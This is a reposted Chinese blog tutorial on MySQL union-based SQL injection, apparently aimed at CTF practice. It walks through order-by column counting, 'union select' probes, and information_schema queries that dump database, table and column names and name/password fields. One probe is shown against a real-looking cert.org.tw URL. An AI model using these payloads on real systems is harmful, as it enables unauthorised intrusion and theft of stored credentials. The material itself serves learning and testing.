sql注入

sql注入分类:
基于联合查询
基于错误回显
基于盲注,分时间盲注和布尔型的盲注
基于user-agent
基于feferer
基于cookie
二次注入
宽字节注入

通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询
首先来了解下mysql的系统函数
user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
@@vasedir:mysql安装路径
@@version_compile_os:操作系统
concat():连接一个或者多个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据

理解Schema,schemata,schema_name,table_schema这几张表很重要

SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,
show databases的结果取之此表。
TABLES表:储存mysql中的表信息,
(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)
包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,
最后更新时间等。show tables from schemaname的结果取之此表
COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)
详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,
列的数据类型,列的编码类型,列的权限,注释等。
是show columns from schemaname.tablename的结果取之此表.

找到注入点后,我们用order by语句查询数据库中存在多少数据表
确定多少个表,为了便于说明,假设有三个数据表,
 Order by 3 返回正常
order by 4返回错误
然后使用and 1=2 union select 1,2,3 %23爆出可以回显敏感信息的位置,假设在2和3上
 
下面我们就要查询敏感信息了,就要用到上面所说的系统函数了
and 1=2 union select 1,version(),database()可以爆出当前使用的版本和数据库名
and 1=2 union select 1,2,schema_name from information_schema.schemata limit 1,1 
爆出数据库名,依次使用limit2,1往下爆库名,也可以使用group_concat函数全部爆出来 
and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata%23 。
我们假设其中有flag库
 
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=’flag’ 
爆出flag库下的所有的表,假设其中有flagtable表
 
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name =’flagtale’
爆出flagtable下的所有字段,假设有name和password字段
 
and 1=2 union select 1,2,group_concat(name,password) from flag.flagtable
爆出flag下的flagtable表的name和password的内容

1.http://www.cert.org.tw/document/advisory/detail.php?id=7 and ord(mid(version(),1,1))>51 返回正常,说明大于4.0版本,支持union查询

2.字段的判断
    order by 1
    order by 2
    order by 3
    ......
    ......
    ......

    根据order by+数字,可以判断出字段的长度,EG:3个字段 order by 1,order by 2,order by 3都显示正常,但是order by 4则出现显示错误

3.利用union select 0,1,2 order by 1测试出回县的数字,则可以测出数据库database(),版本号version(),使用者username().
    

    问题1:为什么不能用union select 0,1,2.为什么要加入order by 1,
    问题2:为什么不能用union select 1,2,3.

暴库: union select 0,databases(),2 order by 1.可以测出所使用的数据库
       union select 1,2,3 order by 1 limit 1 offset 1

4.报表
    例如爆出的库是:sql_test
    union (select 0,table_name,null from information_schema.tables where table_schema='sql_test') order by 1 limit 1 offset 1

    问题:order by 1 limit 1 offset 1是什么意思,为什么要便宜1个

5.爆列
    例如爆出的表是:t_flag
        http://localhost/v1/cE391yhdb43nH/index.php?id=1%20union%20(select%200,table_name,column_name%20from%20information_schema.columns    %20where
%20table_name=%27t_flag%27)%20order%20by%201%20limit%201%20offset%201#

6.爆数据

    
    union select 0,flag,null  from t_flag order by 1

注:
information_schema数据库表说明:
    

SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之
此表。

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。


经常用到在数据库中查询中间几条数据的需求
比如下面的sql语句:
① selete * from testtable limit 2,1;
② selete * from testtable limit 2 offset 1;
注意:
1.数据库数据计算是从0开始的
2.offset X是跳过X个数据,limit Y是选取Y个数据
3.limit  X,Y  中X表示跳过X个数据,读取Y个数据
这两个都是能完成需要,但是他们之间是有区别的:
①是从数据库中第三条开始查询,取一条数据,即第三条数据读取,一二条跳过
②是从数据库中的第二条数据开始查询两条数据,即第二条和第三条。

转载于:https://my.oschina.net/sosomywork/blog/979278

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值